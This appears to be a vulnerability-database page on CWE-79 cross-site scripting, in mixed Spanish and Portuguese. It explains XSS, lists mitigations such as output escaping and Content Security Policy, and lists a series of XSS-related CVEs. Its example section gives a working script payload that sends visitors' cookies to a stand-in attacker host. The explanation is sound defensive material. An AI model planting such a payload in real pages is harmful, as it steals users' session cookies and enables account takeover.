Fallos del tipo CWE-79

30.371 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-27824MEDIUMAn XSS issue was discovered in the Link iframe formatter module before 1.x-1.1.1 for Backdrop CMS. It doesn't sufficiently sanitize input beEPSS 0.2%CVE-2026-81635MEDIUMA cross-site scripting vulnerability exists in SHIRASAGI, which may allow an attacker to execute an arbitrary script in the web browser of aEPSS 0.2%CVE-2025-57665MEDIUMElement Plus Link component (el-link) through 2.10.6 implements insufficient input validation for the href attribute, creating a security abEPSS 0.2%CVE-2024-11405MEDIUMWP Front-end login and register <= 2.1.0 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2025-65417MEDIUMdocuFORM Managed Print Service Client 11.11c is vulnerable to a reflected cross site scripting attack via the login page of the application.EPSS 0.2%CVE-2025-23943MEDIUMWordPress PDF.js Shortcode plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53300MEDIUMWordPress Podcast Feed Player Widget and Shortcode plugin <= 2.2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-25642MEDIUMHedgeDoc security headers for uploaded files were not workingEPSS 0.2%CVE-2025-23965MEDIUMWordPress Kopa Nictitate Toolkit plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53301MEDIUMWordPress Theme Junkie Team Content plugin <= 0.1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-42956MEDIUMMultiple vulnerabilities in SAP NetWeaver Application Server ABAPEPSS 0.2%CVE-2025-22780MEDIUMWordPress wp-pano Plugin <= 1.17 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2022-43850MEDIUMIBM Aspera Console cross-site scriptingEPSS 0.2%CVE-2025-23926MEDIUMWordPress Ajax WP Query Search Filter plugin <= 1.0.7 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-50046MEDIUMWordPress WPComplete plugin <= 2.9.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2023-53978MEDIUMmyBB Forums 1.8.26 Stored Cross-Site Scripting via Forum AnnouncementsEPSS 0.2%CVE-2025-50041MEDIUMWordPress Gutenberg Blocks – ACF Blocks Suite plugin <= 2.6.11 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-22798MEDIUMWordPress Responsive jQuery Slider plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-57783HIGHThe desktop application in Dot through 0.9.3 allows XSS and resultant command execution because user input and LLM output are appended to thEPSS 0.2%CVE-2024-56475MEDIUMIBM TXSeries for Multiplatforms cross-site scriptingEPSS 0.2%